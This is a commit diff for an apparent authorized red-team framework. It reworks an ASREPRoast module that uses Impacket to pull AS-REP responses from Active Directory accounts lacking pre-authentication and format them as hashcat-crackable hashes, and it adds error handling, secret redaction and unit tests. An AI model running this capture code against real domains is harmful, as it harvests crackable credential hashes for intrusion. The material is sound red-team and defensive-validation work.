ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.
Python active-directorycloud-securitydefensive-validationfastapigood-first-issuemitre-attackopsecreactred-teamreportingsecurity
fix: use Impacket no-preauth API for ASREPRoast capture
Mafifrizif9513055ee07
diff --git a/ares/modules/ad/asreproast.py b/ares/modules/ad/asreproast.pyindex e98d8ba..d22d78a 100644--- a/ares/modules/ad/asreproast.py+++ b/ares/modules/ad/asreproast.py@@ -1,5 +1,6 @@from __future__ import annotationsimport asyncio+import re"""ASREPRoasting — impacket.krb5.kerberosv5 low-level API (impacket >=0.11 compatible)MITRE: T1558.004 — Works fully unauthenticated with username list.@@ -34,51 +35,39 @@ from ares.modules.ad.dependencies import (def _capture_asrep_raw(dc: str, domain: str, username: str) -> bytes | None:"""- Issue #4 fix: Send AS-REQ without pre-auth via raw sendReceive and return- the raw wire bytes of the AS-REP.+ Request an AS-REP without pre-auth through Impacket's supported Kerberos+ API and return its raw wire bytes.- getKerberosTGT() parses the AS-REP internally so its return value cannot be- used for hash extraction. sendReceive() gives us the raw bytes that- _format_krb5asrep_hash() can parse into $krb5asrep$ format.+ ``kerberoast_no_preauth=True`` makes getKerberosTGT return the raw AS-REP+ when the KDC omits pre-auth, even though ARES has no password with which+ to decrypt the ticket. This keeps request construction aligned with+ Impacket's KDC-compatible options and preserves the bytes needed by+ _format_krb5asrep_hash().Returns raw AS-REP bytes if account is ASREPRoastable, None otherwise."""try:- from impacket.krb5.asn1 import AS_REQ, seq_setfrom impacket.krb5 import constants- from impacket.krb5.types import Principal, KerberosTime- from impacket.krb5.kerberosv5 import sendReceive- from pyasn1.codec.ber import encoder- from pyasn1.type.univ import noValue- import datetime, os-- client = Principal(username,- type=constants.PrincipalNameType.NT_PRINCIPAL.value)- krb_as_req = AS_REQ()-- req_body = krb_as_req["req-body"]- req_body["kdc-options"] = constants.encodeFlags([])- seq_set(req_body, "cname", client.components_to_asn1)- req_body["realm"] = domain.upper()-- server_name = Principal(- f"krbtgt/{domain.upper()}",- type=constants.PrincipalNameType.NT_SRV_INST.value,- )- seq_set(req_body, "sname", server_name.components_to_asn1)-- now = datetime.datetime.now(datetime.timezone.utc)- req_body["from"] = KerberosTime.to_asn1(now)- req_body["till"] = KerberosTime.to_asn1(now + datetime.timedelta(days=1))- req_body["rtime"] = KerberosTime.to_asn1(now + datetime.timedelta(days=1))- req_body["nonce"] = int.from_bytes(os.urandom(4), "big")- req_body["etype"][0] = constants.EncryptionTypes.rc4_hmac.value # RC4 = fastest crack+ from impacket.krb5.kerberosv5 import getKerberosTGT+ from impacket.krb5.types import Principal- krb_as_req["pvno"] = 5- krb_as_req["msg-type"] = int(constants.ApplicationTagNumbers.AS_REQ.value)+ client = Principal(+ username,+ type=constants.PrincipalNameType.NT_PRINCIPAL.value,+ )# No padata — no pre-auth. If account has DONT_REQUIRE_PREAUTH, KDC responds with AS-REP.- raw_rep = sendReceive(encoder.encode(krb_as_req), domain.upper(), dc)+ raw_rep, _cipher, _key, _session_key = getKerberosTGT(+ client,+ "",+ domain,+ b"",+ b"",+ aesKey=b"",+ kdcHost=dc,+ requestPAC=True,+ kerberoast_no_preauth=True,+ )return raw_repexcept Exception as exc:@@ -92,6 +81,10 @@ def _capture_asrep_raw(dc: str, domain: str, username: str) -> bytes | None:raise+class ASREPParseError(ValueError):+ """The KDC response was not a supported AS-REP wire message."""++def _format_krb5asrep_hash(raw_asrep: bytes, username: str, domain: str) -> str:"""Parse raw AS-REP wire bytes and format as $krb5asrep$ for hashcat mode 18200.@@ -111,7 +104,9 @@ def _format_krb5asrep_hash(raw_asrep: bytes, username: str, domain: str) -> str:cipher = bytes(enc["cipher"])if len(cipher) < 16:- return ""+ raise ASREPParseError(+ "AS-REP response could not be parsed (InvalidASREPResponse)"+ )checksum = cipher[:16].hex()ciphertext = cipher[16:].hex()@@ -119,20 +114,35 @@ def _format_krb5asrep_hash(raw_asrep: bytes, username: str, domain: str) -> str:f"$krb5asrep${etype}${username}@{domain.upper()}"f":{checksum}${ciphertext}")- except Exception:- return ""+ except Exception as exc:+ raise ASREPParseError(+ f"AS-REP response could not be parsed ({type(exc).__name__})"+ ) from excdef classify_asrep_outcome(- mode: str, candidate_count: int, hash_count: int+ mode: str,+ candidate_count: int,+ hash_count: int,+ failure_category: str = "",+ failure_reason: str = "",) -> tuple[str, str]:"""Explain an AS-REP run that did not produce a confirmed finding."""if hash_count:return "confirmed_findings", f"Captured {hash_count} AS-REP roastable result(s)."if candidate_count:+ category = failure_category or "operator_error"+ reason = failure_reason or "AS-REP material was not returned"return (- "completed_no_findings",- f"LDAP found {candidate_count} candidate account(s), but no AS-REP roast material was obtained; the condition was not confirmed.",+ category,+ (+ f"LDAP found {candidate_count} ASREPRoast candidate account(s), but "+ "Kerberos did not return AS-REP material. "+ f"Last Kerberos error: {reason}. "+ "Next steps: verify DoesNotRequirePreAuth on the account, KDC/port "+ "88, clock sync, account enabled/unlocked, and domain/realm correctness, "+ "then rerun."+ ),)if mode == "authenticated":return (@@ -145,6 +155,47 @@ def classify_asrep_outcome()+def _sanitize_asrep_failure_reason(value: Any) -> str:+ """Keep operator-facing AS-REP failure context bounded and secret-free."""+ text = " ".join(str(value).split())[:160]+ text = re.sub(+ r"(?i)\b(password|passwd|secret|token|api[_-]?key|nt_hash|lm_hash|krbtgt_hash)\b\s*([:=])\s*[^\s,;]+",+ r"\1\2[redacted]",+ text,+ )+ text = re.sub(r"(?i)\$krb5(?:asrep|tgs)\$[^\s]+", "[hash redacted]", text)+ return text or "AS-REP request failed without a reason"+++def classify_asrep_request_error(exc: BaseException) -> tuple[str, str]:+ """Classify known Kerberos request failures without exposing raw details."""+ text = str(exc)+ lowered = text.lower()+ if "krb_ap_err_skew" in lowered or "clock skew too great" in lowered:+ return "operator_error", "KRB_AP_ERR_SKEW: Kerberos clock skew too great"+ if "kdc_err_wrong_realm" in lowered or "wrong realm" in lowered:+ return "operator_error", "KDC_ERR_WRONG_REALM: Kerberos realm mismatch"+ if "kdc_err_cannot_postdate" in lowered:+ return "operator_error", "KDC_ERR_CANNOT_POSTDATE: ticket not eligible for postdating"+ if any(marker in lowered for marker in (+ "invalid credentials",+ "logon failure",+ "kdc_err_preauth_failed",+ "authentication failed",+ )):+ return "operator_error", "invalid credentials"+ if any(marker in lowered for marker in (+ "timed out",+ "timeout",+ "connection refused",+ "unreachable",+ "no route to host",+ "network",+ )):+ return "network_error", _sanitize_asrep_failure_reason(exc)+ return "module_error", _sanitize_asrep_failure_reason(exc)++class ASREPRoastModule(BaseModule):"""ad.asreproast — Capture AS-REP hashes from accounts without Kerberos pre-auth@@ -253,6 +304,8 @@ class ASREPRoastModule(BaseModule):logger.info("asreproast_start", dc=dc, domain=domain, mode=mode)self._last_candidate_count = 0+ self._last_hash_failure_category = ""+ self._last_hash_failure_reason = ""try:hashes, accounts = await self._get_asrep_hashes(dc, domain, username, password, userfile, usernames or [], mode@@ -270,10 +323,25 @@ class ASREPRoastModule(BaseModule):}if not hashes:category, message = classify_asrep_outcome(- mode, self._last_candidate_count, len(hashes)+ mode,+ self._last_candidate_count,+ len(hashes),+ self._last_hash_failure_category,+ self._last_hash_failure_reason,)raw["outcome_category"] = categoryraw["outcome_message"] = message+ raw["candidate_count"] = self._last_candidate_count+ if self._last_hash_failure_reason:+ raw["asrep_failure_category"] = self._last_hash_failure_category+ raw["asrep_failure_reason"] = self._last_hash_failure_reason+ if self._last_candidate_count:+ logger.warning(+ "asreproast_candidates_no_hash",+ candidates=self._last_candidate_count,+ reason=self._last_hash_failure_reason+ or "AS-REP material was not returned",+ )self._analyze(raw)return self._findings, raw@@ -331,20 +399,66 @@ class ASREPRoastModule(BaseModule):a parsed TGT object, not raw AS-REP bytes. _format_krb5asrep_hash()needs raw bytes to extract enc-part for hashcat."""+ logger.info("asreproast_hash_request_start", username=u[:120])try:- return _capture_asrep_raw(dc, domain, u)+ raw_result = _capture_asrep_raw(dc, domain, u)except Exception as exc:- logger.debug("asreproast_request_error",- username=u, error=str(exc)[:80])- return None+ category, reason = classify_asrep_request_error(exc)+ logger.warning(+ "asreproast_hash_request_failed",+ username=u[:120],+ reason=reason,+ )+ return None, category, reason+ if raw_result is None:+ reason = "AS-REP material was not returned"+ logger.warning(+ "asreproast_hash_request_failed",+ username=u[:120],+ reason=reason,+ )+ return None, "operator_error", reason+ return raw_result, "", ""- raw_asrep = await loop.run_in_executor(None, _try_asreq)+ raw_asrep, failure_category, failure_reason = await loop.run_in_executor(+ None, _try_asreq+ )if raw_asrep is not None:- hash_str = _format_krb5asrep_hash(raw_asrep, uname, domain)- if hash_str:- hashes.append(hash_str)- accounts.append(uname)- logger.info("asreproast_hash_captured", username=uname)+ try:+ hash_str = _format_krb5asrep_hash(raw_asrep, uname, domain)+ except ASREPParseError as exc:+ failure_category = "module_error"+ failure_reason = (+ f"{exc}; candidate={uname[:120]}; "+ "response was malformed or unsupported"+ )+ logger.warning(+ "asreproast_hash_request_failed",+ username=uname[:120],+ reason=failure_reason,+ )+ else:+ if hash_str:+ hashes.append(hash_str)+ accounts.append(uname)+ logger.info("asreproast_hash_captured", username=uname)+ else:+ failure_category = "module_error"+ failure_reason = (+ f"AS-REP response could not be parsed; candidate={uname[:120]}; "+ "response was malformed or unsupported"+ )+ logger.warning(+ "asreproast_hash_request_failed",+ username=uname[:120],+ reason=failure_reason,+ )++ if failure_reason:+ self._last_hash_failure_category = failure_category+ self._last_hash_failure_reason = _sanitize_asrep_failure_reason(+ failure_reason+ )# per-request jitterif i < len(targets) - 1:diff --git a/tests/unit/test_ad_bind_behavior.py b/tests/unit/test_ad_bind_behavior.pyindex 05be045..dffd28f 100644--- a/tests/unit/test_ad_bind_behavior.py+++ b/tests/unit/test_ad_bind_behavior.py@@ -170,6 +170,39 @@ async def test_asreproast_dry_run_does_not_bind_or_request_kerberos(monkeypatch)assert result.raw["would_request_kerberos"] is False+def test_asreproast_capture_uses_impacket_no_preauth_api(monkeypatch):+ import ares.modules.ad.asreproast as asreproast_mod++ _install_fake_kerberos(monkeypatch)+ import impacket.krb5.kerberosv5 as kerberosv5++ captured = {}++ def fake_get_kerberos_tgt(client, password, domain, lmhash, nthash, **kwargs):+ captured.update(+ client=client,+ password=password,+ domain=domain,+ lmhash=lmhash,+ nthash=nthash,+ **kwargs,+ )+ return b"raw-asrep", None, None, None++ monkeypatch.setattr(kerberosv5, "getKerberosTGT", fake_get_kerberos_tgt)++ raw = asreproast_mod._capture_asrep_raw(+ "10.0.0.5", "lab.local", "legacy-nonpreauth"+ )++ assert raw == b"raw-asrep"+ assert captured["password"] == ""+ assert captured["domain"] == "lab.local"+ assert captured["kdcHost"] == "10.0.0.5"+ assert captured["requestPAC"] is True+ assert captured["kerberoast_no_preauth"] is True++@pytest.mark.asyncioasync def test_kerberoast_dry_run_does_not_request_tgt_or_spns(monkeypatch):from ares.modules.ad.kerberoast import KerberoastModule@@ -458,3 +491,170 @@ async def test_kerberoast_tgs_collection_window_precedes_engine_timeout(monkeypaassert "found 3 Kerberoastable candidate account(s)" in str(exc_info.value)assert "Kerberos TGS request timed out before a hash was confirmed" in str(exc_info.value)assert "Password1!" not in str(exc_info.value)+++async def test_asreproast_candidate_hash_is_confirmed_with_high_confidence(monkeypatch):+ import ares.modules.ad.asreproast as asreproast_mod+ from ares.core.validator import build_default_validator+ from ares.modules.ad.asreproast import ASREPRoastModule++ monkeypatch.setattr(asreproast_mod, "ensure_ad_dependencies", lambda *args, **kwargs: None)+ module, _ = _make_module(ASREPRoastModule)++ async def fake_candidates(*args, **kwargs):+ return ["legacy-nonpreauth"]++ monkeypatch.setattr(module, "_ldap_get_nopreauth", fake_candidates)+ monkeypatch.setattr(+ asreproast_mod,+ "_capture_asrep_raw",+ lambda *args, **kwargs: b"raw-asrep",+ )+ monkeypatch.setattr(+ asreproast_mod,+ "_format_krb5asrep_hash",+ lambda *args, **kwargs: "$krb5asrep$23$redacted",+ )++ findings, raw = await module.run(+ dc="10.0.0.5",+ domain="lab.local",+ username="[email protected]",+ password="Password1!",+ )++ assert len(findings) == 1+ assert raw["asrep_hashes"]+ validator = build_default_validator()+ validation = await validator.validate(findings[0], raw)+ assert validation.passed is True+ assert validation.confidence >= 0.90+++async def test_asreproast_candidate_kerberos_failure_is_candidate_aware(monkeypatch):+ import ares.modules.ad.asreproast as asreproast_mod+ from ares.modules.ad.asreproast import ASREPRoastModule++ monkeypatch.setattr(asreproast_mod, "ensure_ad_dependencies", lambda *args, **kwargs: None)+ module, _ = _make_module(ASREPRoastModule)++ async def fake_candidates(*args, **kwargs):+ return ["legacy-nonpreauth"]++ def skewed_asrep(*args, **kwargs):+ raise RuntimeError(+ "Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) "+ "password=Password1!"+ )++ monkeypatch.setattr(module, "_ldap_get_nopreauth", fake_candidates)+ monkeypatch.setattr(asreproast_mod, "_capture_asrep_raw", skewed_asrep)++ findings, raw = await module.run(+ dc="10.0.0.5",+ domain="lab.local",+ username="[email protected]",+ password="Password1!",+ )++ assert findings == []+ assert raw["outcome_category"] == "operator_error"+ assert "LDAP found 1 ASREPRoast candidate account(s)" in raw["outcome_message"]+ assert "KRB_AP_ERR_SKEW" in raw["outcome_message"]+ assert "Next steps:" in raw["outcome_message"]+ assert "completed_no_findings" not in raw["outcome_message"]+ assert "Password1!" not in raw["outcome_message"]+ assert "Password1!" not in raw["asrep_failure_reason"]+++async def test_asreproast_parse_failure_is_candidate_aware(monkeypatch):+ import ares.modules.ad.asreproast as asreproast_mod+ from ares.modules.ad.asreproast import ASREPRoastModule, ASREPParseError++ monkeypatch.setattr(asreproast_mod, "ensure_ad_dependencies", lambda *args, **kwargs: None)+ module, _ = _make_module(ASREPRoastModule)++ async def fake_candidates(*args, **kwargs):+ return ["legacy-nonpreauth"]++ monkeypatch.setattr(module, "_ldap_get_nopreauth", fake_candidates)+ monkeypatch.setattr(asreproast_mod, "_capture_asrep_raw", lambda *args, **kwargs: b"raw")++ def parse_failure(*args, **kwargs):+ raise ASREPParseError("AS-REP response could not be parsed (EndOfStreamError)")++ monkeypatch.setattr(+ asreproast_mod,+ "_format_krb5asrep_hash",+ parse_failure,+ )++ findings, raw = await module.run(+ dc="10.0.0.5",+ domain="lab.local",+ username="[email protected]",+ password="Password1!",+ )++ assert findings == []+ assert raw["outcome_category"] == "module_error"+ assert "candidate=legacy-nonpreauth" in raw["outcome_message"]+ assert "EndOfStreamError" in raw["outcome_message"]+ assert "malformed or unsupported" in raw["outcome_message"]+ assert "Next steps:" in raw["outcome_message"]+ assert "Password1!" not in raw["outcome_message"]+++async def test_asreproast_without_candidates_remains_no_findings(monkeypatch):+ import ares.modules.ad.asreproast as asreproast_mod+ from ares.modules.ad.asreproast import ASREPRoastModule++ monkeypatch.setattr(asreproast_mod, "ensure_ad_dependencies", lambda *args, **kwargs: None)+ module, _ = _make_module(ASREPRoastModule)++ async def no_candidates(*args, **kwargs):+ return []++ def unexpected_asrep(*args, **kwargs):+ raise AssertionError("AS-REP must not be requested without candidates")++ monkeypatch.setattr(module, "_ldap_get_nopreauth", no_candidates)+ monkeypatch.setattr(asreproast_mod, "_capture_asrep_raw", unexpected_asrep)++ findings, raw = await module.run(+ dc="10.0.0.5",+ domain="lab.local",+ username="[email protected]",+ password="Password1!",+ )++ assert findings == []+ assert raw["outcome_category"] == "completed_no_findings"+ assert "no accounts without Kerberos pre-auth were found" in raw["outcome_message"]+++ ("error_text", "category", "reason"),+ [+ ("KRB_AP_ERR_SKEW(Clock skew too great)", "operator_error", "KRB_AP_ERR_SKEW"),+ ("KDC_ERR_WRONG_REALM", "operator_error", "KDC_ERR_WRONG_REALM"),+ ("KDC_ERR_CANNOT_POSTDATE", "operator_error", "KDC_ERR_CANNOT_POSTDATE"),+ ("KDC_ERR_PREAUTH_FAILED", "operator_error", "invalid credentials"),+ ("Kerberos request timed out", "network_error", "timed out"),+ ("unexpected parser failure", "module_error", "unexpected parser failure"),+ ],+)+def test_asreproast_request_error_classification_is_safe(error_text, category, reason):+ from ares.modules.ad.asreproast import classify_asrep_request_error++ actual_category, actual_reason = classify_asrep_request_error(+ RuntimeError(f"{error_text} password=Password1!")+ )++ assert actual_category == category+ assert reason in actual_reason+ assert "Password1!" not in actual_reasondiff --git a/tests/unit/test_engine.py b/tests/unit/test_engine.pyindex 593204d..967358e 100644--- a/tests/unit/test_engine.py+++ b/tests/unit/test_engine.py@@ -194,6 +194,48 @@ class TestAsyncEngine:assert "Kerberos service health" in result.operator_next_steps[0]assert "account/SPN validity" in result.operator_next_steps[0]+ @pytest.mark.asyncio+ async def test_asreproast_operator_outcome_does_not_retry(+ self, settings: AresSettings, campaign: Campaign+ ) -> None:+ from ares.modules.ad.asreproast import ASREPRoastModule+ from ares.modules.base import ModuleResult++ engine = AresEngine(settings=settings)+ engine.load_modules()+ calls = 0++ async def candidate_failure(self_unused: Any, ctx: Any) -> ModuleResult:+ nonlocal calls+ calls += 1+ return ModuleResult(+ status="success",+ raw={+ "outcome_category": "operator_error",+ "outcome_message": (+ "LDAP found 1 ASREPRoast candidate account(s), but Kerberos "+ "did not return AS-REP material. Last Kerberos error: "+ "KRB_AP_ERR_SKEW: Kerberos clock skew too great."+ ),+ },+ module_id="ad.asreproast",+ )++ params = {+ "dc": "10.0.0.5",+ "domain": "corp.local",+ "username": "[email protected]",+ "password": "Passw0rd!",+ }+ with patch.object(ASREPRoastModule, "execute", candidate_failure), \+ patch("ares.core.engine.asyncio.sleep", new=AsyncMock()) as retry_sleep:+ result = await engine.run_module("ad.asreproast", campaign, params)++ assert calls == 1+ assert retry_sleep.await_count == 0+ assert result.outcome == "operator_error"+ assert "ASREPRoast candidate" in result.outcome_message+@pytest.mark.asyncioasync def test_retry_stops_when_retry_attempt_classifies_tgs_timeout(self, settings: AresSettings, campaign: Campaigndiff --git a/tests/unit/test_module_contracts.py b/tests/unit/test_module_contracts.pyindex 1abe236..be879b9 100644--- a/tests/unit/test_module_contracts.py+++ b/tests/unit/test_module_contracts.py@@ -245,8 +245,10 @@ def test_ad_empty_results_have_operator_facing_classification():format_kerberoast_tgs_timeout,)- assert classify_asrep_outcome("authenticated", 1, 0)[0] == "completed_no_findings"- assert "candidate" in classify_asrep_outcome("authenticated", 1, 0)[1]+ candidate_outcome = classify_asrep_outcome("authenticated", 1, 0)+ assert candidate_outcome[0] == "operator_error"+ assert "ASREPRoast candidate" in candidate_outcome[1]+ assert "Next steps:" in candidate_outcome[1]assert classify_asrep_outcome("authenticated", 0, 0)[0] == "completed_no_findings"assert classify_kerberoast_outcome(1, 0, 1)[0] == "network_error"assert classify_kerberoast_outcome(1, 0, 0)[0] == "completed_no_findings"